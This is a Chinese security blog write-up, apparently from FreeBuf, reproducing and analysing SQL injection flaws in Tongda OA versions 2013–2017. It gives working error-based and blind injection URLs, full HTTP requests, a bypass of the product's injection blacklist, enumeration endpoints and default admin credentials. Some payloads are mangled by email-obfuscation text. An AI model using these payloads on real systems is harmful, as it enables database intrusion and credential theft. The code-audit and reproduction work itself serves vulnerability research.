网络安全漏洞分析小结
2022-3-7 17:58:15 Author: www.freebuf.com(查看原文) 阅读量:27 收藏

前言

这里感谢师傅前面整理的通达OA一些版本的漏洞复现,这里从漏洞点出发,分析漏洞,从中学习一些师傅白盒挖掘漏洞的思路。

安装包下载地址,可以通过枚举版本号下载对应的安装包:

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://www.tongda2000.com/download/down.php?VERSION=2019&code=

安装教程为傻瓜式一键安装,这里不细说。
默认账号密码admin/(空)

1643953470_61fcbd3e715893575c207.png!small?1643953458111

1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

信息收集

一、版本信息

/inc/expired.php

1643953525_61fcbd75215c274b7b892.png!small?1643953512778

/inc/reg_trial.php

1643953547_61fcbd8ba70c482fced16.png!small?1643953535287

/inc/reg_trial_submit.php

1643953574_61fcbda651c71e48d1db6.png!small?1643953562405

二、计算机名

需要高于2013版本

/resque/worker.php

1643953592_61fcbdb8817f82e8300c9.png!small?1643953585223

三、用户名&邮箱枚举

需要高于2013版本

/ispirit/retrieve_pwd.php?username=要枚举的用户

存在的用户

1643953611_61fcbdcb8047baecc7a14.png!small?1643953599227

不存在的用户

1643953626_61fcbddaa36bea8df678b.png!small?1643953614210

通达OA2013

一、/interface/ugo.php 报错注入

漏洞复现

/interface/ugo.php?OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271

1643953665_61fcbe01b5220510c9692.png!small?1643953653419

漏洞分析

1、首先定位到漏洞点/interface/ugo.php
使用函数urldecode解析OA_USER

1643953684_61fcbe14e9ae29b253ede.png!small?1643953672619

2、全局搜索ext_login_check,在第16、17行看到直接拼接并调用方法exequery执行

1643953704_61fcbe2889e9c293de6b8.png!small?1643953692227

3、exequery方法是这样定位的:
首先ugo.php包含了inc/session.php文件

1643953720_61fcbe38841a5cc73765c.png!small?1643953708187

session.php文件包含了inc/conn.php文件

1643953739_61fcbe4b3f1a378c95ee7.png!small?1643953726910

在conn.php文件中就看到了exequery方法

1643953759_61fcbe5f09e52bd1e15a1.png!small?1643953746643

4、前面简单处理了union select和info outfile和into dumpfile

if (!$LOG) {
        $POS = stripos($Q, "union");
        if ($POS !== FALSE && stripos($Q, "select", $POS) !== FALSE) {
            exit;
        }
        $POS = stripos($Q, "into");
        if ($POS !== FALSE && (stripos($Q, "outfile", $POS) !== FALSE || stripos($Q, "dumpfile", $POS) !== FALSE)) {
            exit;
        }
    }

5、在这里执行了sql语句

1643953787_61fcbe7bbde0d4d7a1ec3.png!small?1643953775348

二、/interface/auth.php 报错注入

漏洞复现

思路还是比较简单的。

/interface/auth.php?&PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()) ,0x3a) from user limit 1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

1643953811_61fcbe939249dd368bb42.png!small?1643953799469

漏洞分析

1、根据URL定位漏洞点/interface/auth.php

1643953827_61fcbea3d719aa0082f20.png!small?1643953815532

2、关键代码截取下来了,很明显这里加了过滤,将一些字符替换为空,所以无法利用。

//替换为空
$USER_ID = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $USER_ID);
//检测传参是否非空,空的话exit
if ($USER_ID == "" || $PASSWORD == "") {
    message("", _("»¥Áª»¥Í¨·ÃÎʽӿڵÄÓû§Ãû»òÃÜÂëÓÐÎó"));
    exit;
}
//直接拼接USER_ID
$query = "select * from EXT_USER where USER_ID='" . $USER_ID . "'";
//调用exequery执行
$cursor = exequery($connection, $query);

三、/interface/go.php 报错注入

漏洞复现

emm。。同上,我这里已经无法复现了

interface/go.php?APP_UNIT=a%2527 and 1=(select 1 from(select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and %25271%2527=%25271

1643953858_61fcbec264f38e9f4ce44.png!small?1643953846013

漏洞分析

1、根据URL定位漏洞点/interface/go.php

1643953875_61fcbed3eb6534016ec25.png!small?1643953863622

2、OA_USER和APP_UNIT都进行了过滤

//过滤单引号等字符,替换为空
$OA_USER = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $OA_USER);
$APP_UNIT = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $APP_UNIT);
//直接拼接APP_UNIT
$query = "select MEMBER_ID from CONNECT_CONFIG where MEMBER_NAME='" . $APP_UNIT . "'";
//调用exequery方法执行
$cursor = exequery($connection, $query);

3、jdr师傅是复现了APP_UNIT参数的SQL注入,然后这里往下看,可以看到OA_USER与/interface/ugo.php中的一样,在下面调用了ext_login_check方法

if ($OA_USER == "admin") {
    echo _("¸ÃÕʺÅÎÞȨ·ÃÎÊ");
    exit;
}
session_start();
ob_start();
if ($LOGIN_USER_ID != $OA_USER) {
    include_once "./auth.php";
    $result = ext_login_check($OA_USER);
    if ($result != "1") {
        echo $result;
        exit;
    }
}

而ext_login_check方法是没有过滤的,所以,理论上,旧版本在/interface/go.php?OA_USER=应该也会有注入。

1643953910_61fcbef69c2b1ec7fd770.png!small?1643953898230

通达OA2015

一、/ispirit/retrieve_pwd.php 盲注

漏洞复现

1、判断是否存在注入

/ispirit/retrieve_pwd.php?_GET[username]=admin'or 1=1 and'a'='a

1643953933_61fcbf0d614027f636e7d.png!small?1643953920939

2、判断数据库长度为5

/ispirit/retrieve_pwd.php?_GET[username]=admin' or if((length(database())=5),1,power(88888,88)) and'a'='a

1643953971_61fcbf33d8d5c9bf1e124.png!small?1643953959521

1643953985_61fcbf4126fe9e647acff.png!small?1643953972838

3、判断数据库是否为td_oa

/ispirit/retrieve_pwd.php?_GET[username]=admin'or if((database()='td_oa'),1,power(888888,88))and'a'='a

1643954008_61fcbf58ae6b6e75788e9.png!small?1643953996326

1643954019_61fcbf6354dacda18972e.png!small?1643954006963

漏洞分析

这里代码没找到旧版本的,就理性分析一下。
1、根据URL定位漏洞点/ispirit/retrieve_pwd.php

1643954032_61fcbf707ec1bbb135457.png!small?1643954020120

2、前面看到请求了2个参数username和email,然后username直接拼接

<?phpinclude_once "inc/conn.php";include_once "inc/utility_all.php";//get请求$username = $_GET["username"];$email = $_GET["email"];//直接拼接username$query = "SELECT UID,USER_ID,USER_NAME,USEING_KEY FROM USER WHERE BYNAME='{$username}'";//调用exequery执行$cursor = exequery(TD::conn(), $query);

3、定位exequery方法,在inc/conn.php中

1643954107_61fcbfbb64dcc9af0f4f9.png!small?1643954095283

4、首先看exequery方法,调用了db_query方法

function exequery($C, $Q, $QUERY_MASTER = false, $LOG = true)
{
    $cursor = @db_query($Q, $C, $QUERY_MASTER);
    if (!$cursor) {
        printerror("<b>" . _("SQL") . "</b> " . $Q, $LOG);
    }
    return $cursor;
}5、然后看db_query方法,第一行就调用sql_injection进行了检测是否存在SQL注入。往下可以看到还有一些其他检测如select和set的,这里推测应该是在一定基础上进行了一次绕过,然后就直接加了sql_injection方法在前面。
function db_query($Q, $C, $QUERY_MASTER = false)
{
    sql_injection($Q, "'");
    if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || strtolower(substr(ltrim($Q), 0, 6)) != "select" && strtolower(substr(ltrim($Q), 0, 3)) != "set")) {
        if ($C == TD::$_res_conn && $C != TD::$_res_conn_master) {
            if (!is_resource(TD::$_res_conn_master)) {
                TD::$_res_conn_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db"]);
            }
            $C = TD::$_res_conn_master;
        } else {
            if ($C == TD::$_res_conn_crscell && $C != TD::$_res_conn_crscell_master) {
                if (!is_resource(TD::$_res_conn_crscell_master)) {
                    TD::$_res_conn_crscell_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db_crscell"]);
                }
                $C = TD::$_res_conn_crscell_master;
            }
        }
    }
    return @mysql_query($Q, $C);
}

6、跟进到sql_injection方法,代码有点长,其实就是进行了黑名单校验。

1643954148_61fcbfe4460f16fbe2b88.png!small?1643954138890
$clean = trim(strtolower(preg_replace(array("~\\s+~s"), array(" "), $clean))); if (strpos($clean, "union") !== false && preg_match("~(^|[^a-z])union(\$|[^[a-z])~s", $clean) != 0) { if (2 < strpos($clean, "/*") || strpos($clean, "--") !== false || strpos($clean, "#") !== false) { if (strpos($clean, "sleep") !== false && preg_match("~(^|[^a-z])sleep(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "benchmark") !== false && preg_match("~(^|[^a-z])benchmark(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "load_file") !== false && preg_match("~(^|[^a-z])load_file(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "cast") !== false && preg_match("~(^|[^a-z])mid(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "ord") !== false && preg_match("~(^|[^a-z])ord(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "ascii") !== false && preg_match("~(^|[^a-z])ascii(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "extractvalue") !== false && preg_match("~(^|[^a-z])extractvalue(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "updatexml") !== false && preg_match("~(^|[^a-z])updatexml(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "into outfile") !== false && preg_match("~(^|[^a-z])into\\s+outfile(\$|[^[a-z])~s", $clean) != 0) { if (strpos($clean, "exp") !== false && preg_match("~(^|[^a-z])exp(\$|[^[a-z])~s", $clean) != 0) { if (stripos($db_string, "update") !== false && stripos($db_string, "user") !== false && stripos($db_string, "set") !== false && stripos($db_string, "file_priv") !== false) {

通达OA2017

一、/general/document/index.php/setting/keywords/index 布尔盲注

漏洞复现

数据包如下:

POST /general/document/index.php/setting/keywords/index HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

_SERVER[QUERY_STRING]=kname=1'[email protected]`'`+or+if(substr(user(),1,1)='r',1,exp(710))#

1、当数据库用户名第一个为r时,页面返回正常

1643954185_61fcc00968264820f08c6.png!small?1643954173290

2、用户名前4位,不为rooq,页面报错

1643954200_61fcc0189d4c6c5274992.png!small?1643954188254

为root时页面正常

1643954219_61fcc02b03a489c44715f.png!small?1643954207098

漏洞分析

1、根据请求定位漏洞点general/document/index.php
2、这里很明显,开始引用框架了,大概看出来是在\webroot\inc\td_framework\core\Framework.php文件中
简单理解一下其实跟tp框架差不多,就是controllers/文件/方法这样的。

1643954243_61fcc04381bab0b107c4a.png!small?1643954231204

3、因为payload路径为/general/document/index.php/setting/keywords/index,所以定位到文件:\webroot\general\document\controllers\setting\keywords.php的index方法。

1643954269_61fcc05daabbc05538a7d.png!small?16439542573064、查看分别是设置了config数组和data数组的值,其中第二行调用了_get_where方法

public function index()
    {
        $this->load->helper('td_doc');
        $where = $this->_get_where();
        $config['base_url'] = site_url('setting/keywords/index') . '?kname=' . $this->kname . '&category=' . $this->category;
        $config['total_rows'] = $this->mkeyword->get_keywords_count($where);
        $config['per_page'] = '6';
        $config['uri_segment'] = 4;
        $data['search_url'] = site_url('setting/keywords');
        $data['pages'] = $this->_pagination($config, $where);
        $data['keywords'] = $this->mkeyword->get_keywords($where, $this->uri->segment(4, 0), $config['per_page']);
        $data['kname'] = $this->kname;
        $data['category'] = $this->category;
        $data['category_list'] = get_syscode_list('DOC_CATEGORY');
        $this->load->view('setting/keywords', $data);
    }

5、往前看,分析_get_where方法

public function _get_where()
    {
        //首先将$_SERVER['QUERY_STRING']参数值变成变量
        parse_str($_SERVER['QUERY_STRING'], $_GET);
        //因为已经传了kname,所以跳过
        if (isset($_GET['kname'])) {
            $this->kname = $_GET['kname'];
        }
        //不传参,也先不看
        if (isset($_GET['category'])) {
            $this->category = $_GET['category'];
        }
        $where = '';
        //将kname的值拼接到$where中
        if ($this->kname) {
            $where = ' and kname like \'%' . $this->kname . '%\'';
        }
        //将category的值拼接到$where中
        if ($this->category) {
            $where .= ' and category=\'' . $this->category . '\'';
        }
        return $where;
    }

6、可以看到这里就是漏洞点了,直接拼接传参到where中,那么回到index方法,注意这一段

$config['total_rows'] = $this->mkeyword->get_keywords_count($where);

调用了mkeyword的get_keywords_count方法,传参为拼接的$where
在文件最前面可以看到mkeyword为加载的model

1643954310_61fcc0867541d8d865b85.png!small?1643954298087

7、定位到\webroot\general\document\models\mkeyword.php的get_keywords_count方法

1643954330_61fcc09a00e96acba5a78.png!small?1643954318112

8、代码如下,直接将传过来的$where拼接到sql语句中进行执行

public function get_keywords_count($where)
    {
        $sql = 'select count(*) as total from doc_keywords where 1=1' . $where;
        $query = $this->db->query($sql, false, true, true);
        return $query->row()->total;
    }

9、然后,这里我就卡住了,因为解密文件的不顺利,我不能直接通过PHPstorm打开跳转找到query方法,于是我冥思苦想,找了好多文件,之后,回到代码中,这里是$this->db->query,那么是不是就是db这个class中的query方法呢。
我回去看了Framework.php,其中有这样一个配置,db指向了database

1643954378_61fcc0ca406fb91c91fdf.png!small?1643954366157

10、于是我在框架所在的目录下的libraris目录下,发现了database.php,在169行,成功发现了query方法

1643954393_61fcc0d9022156036ff7b.png!small?1643954380611

1643954408_61fcc0e8353008780af74.png!small?1643954396329

11、前面一段检测了select,进行了一些赋值

public function query($sql, $binds = false, $return_object = true, $QUERY_MASTER = false)
    {   //截取字符串是不是为select
        if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || ((strtolower(substr(ltrim($sql), 0, 6)) != 'select') && (strtolower(substr(ltrim($sql), 0, 3)) != 'set')))) {
            if (!is_resource($this->master_conn_id)) {
                $this->tomasterdb();
            }

            $this->conn_id = $this->master_conn_id;
        }
        else if (is_resource($this->slave_conn_id)) {
            $this->conn_id = $this->slave_conn_id;
        }
        //$binds为false
        if ($binds !== false) {
            $sql = $this->compile_binds($sql, $binds);
        }
        //全局搜索save_queries,为true,将sql赋值到queries数组中
        if ($this->save_queries == true) {
            $this->queries[] = $sql;
        }

        $time_start = list($sm, $ss) = explode(' ', microtime());

12、往下看

//这里先调用方法_execute处理$sql
if (false === $this->result_id = $this->_execute($sql)) {
            if ($this->save_queries == true) {
                $this->query_times[] = 0;
            }

            $this->display_error();
            return false;
        }

        $time_end = list($em, $es) = explode(' ', microtime());
        $this->benchmark += ($em + $es) - ($sm + $ss);

        if ($this->save_queries == true) {
            $this->query_times[] = ($em + $es) - ($sm + $ss);
        }

        ->query_count++;

        if ($return_object !== true) {
            return true;
        }
        //这里是最后的返回值,创建了一个TD_Database_result对象
        $RES = new TD_Database_result();
        $RES->conn_id = $this->conn_id;
        $RES->result_id = $this->result_id;
        return $RES;

13、查看_execute方法,调用了_prep_query方法处理字符串,然后调用db_query执行

1643954442_61fcc10a38e5a22498d2b.png!small?1643954429751

14、_prep_query方法进行了一些delete的过滤

1643954457_61fcc1193c989d24f4aa9.png!small?1643954444901

15、db_query方法以我多年的经验,很快找到是在/inc/conn.php文件中,这里跟前面2015的一样了,sql_injection基本过滤了注入需要的函数

1643954477_61fcc12d29ff3320a7969.png!small?1643954465143

16、回到前面的keyword.php,因为原复现的时候,是通过传参kname进行注入的,但是实际上我们发现还有一个category也好像没有任何过滤进行了执行,尝试之后发现,果然也存在

1643954493_61fcc13daed044f20f13a.png!small?1643954481569

1643954506_61fcc14a1e1a182cf2ae4.png!small?1643954493767

数据包如下:

POST /general/document/index.php/setting/keywords HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/general/document/index.php/setting/keywords
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1

_SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1%2Cexp%28710%29%29%23

17、可能这就是分析漏洞的快乐吧,突然就发现了其他类似的接口同样存在漏洞。当然因为是sql注入,也想看看具体执行了什么语句

数据库连接信息可以在这里看到

1643954536_61fcc16881978b003fd46.png!small?1643954524101

监控后执行,可以看到完整的sql语句

select count(*) as total from doc_keywords where 1=1 and category='1' [email protected]`'` or if(substr(user

1643954561_61fcc1814e5dbed60e4f8.png!small?1643954549115

18、然后,我就好奇了为什么需要在里面加上

@`'`

19、尝试fuzz一下,发现,如果没有多一个单引号,关键字会被检测出来

_SERVER[QUERY_STRING]=category=1'[email protected]``+or+if(substr(user(),1,4)='root',1,exp(710))#

1643954597_61fcc1a5ee765855bad47.png!small?1643954585596

如果没有@,那么语句就会报错

_SERVER[QUERY_STRING]=category=1'+and`'`+or+if(substr(user(),1,4)='root',1,exp(710))#

1643954619_61fcc1bbca5a33f78194e.png!small?164395460749320、这里就很明显发现了大佬们bypass的一个思路,首先通过单引号跳过了检测的代码,然后又通过@和反引号,使后面的语句成功执行。
我将sql语句放到数据库中执行,发现不会报错
1643954635_61fcc1cb32ed642c916e4.png!small?1643954622722

但是如果删掉@,就报错了,因为多了个单引号

1643954654_61fcc1de3dda84422ac4a.png!small?1643954642443

21、通过查阅资料我了解到了,mysql中的@表示设置一个变量,而``反引号则是转义符,这里是通过设置一个反引号的变量来绕过过滤。真的觉得太强了。
回到过滤的sql_injection方法,可以看到就是这里导致了存在绕过

1643954676_61fcc1f4521bf7760101b.png!small?164395466425622、因为直接看有点搞不清楚具体逻辑,于是我将其单独拎出来,编写成一个php文件运行调试
<?php function sql_injection($db_string) { $clean = ''; $error = ''; $old_pos = 0; $pos = -1; while (true) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === false) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); //echo $clean; while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } else { if ($pos2 == false || $pos1 < $pos2) { $pos = $pos1; break; } } $pos = $pos2 + 1; } $clean .= '$s/pre>; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\\s+~s'), array(' '), $clean))); echo $clean; } $a = "select count(*) as total from doc_keywords where 1=1 and category='1' [email protected]`'` or if(substr(user(),1,4)='root',1,exp(710))#'"; sql_injection($a); ?>

可以看到输出结果已经去掉了后面的语句

1643954705_61fcc211e0bfec261cd13.png!small?1643954693592

23、因为后面的过滤都是过滤clean已经被@'截断了,所以绕过了
经过调试分析代码,我理解了,在原来的获取注入点检测的逻辑,是将单引号里面的值替换为s,所以正常的SQL语句提取结果应该是:

select count(*) as total from doc_keywords where 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'

select count(*) as total from doc_keywords where 1=1 and category='1'

and or if(substr(user(),1,4)='root'

1643954763_61fcc24b0210d8fbb94d5.png!small?164395475063524、再看看加了单引号之后的效果

select count(*) as total from doc_keywords where 1=1 and category='1' [email protected]`'` or if(substr(user(),1,4)='root',1,exp(710))#'
```
#1、找第1、2个单引号
`select count(*) as total from doc_keywords where 1=1 and category='1'`

#2、找第3、4个单引号
` '` or if(substr(user(),1,4)='`

#3、第5个单引号后面到注释符前都没有单引号,所以不构成一对,不进行拼接

![image.png](https://upload-images.jianshu.io/upload_images/26472780-c8c27f380356d060.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

搞懂了,瞬间觉得师傅们的思路太强了。

文章来源: https://www.freebuf.com/articles/web/321243.html
如有侵权请联系:admin#unsafe.sh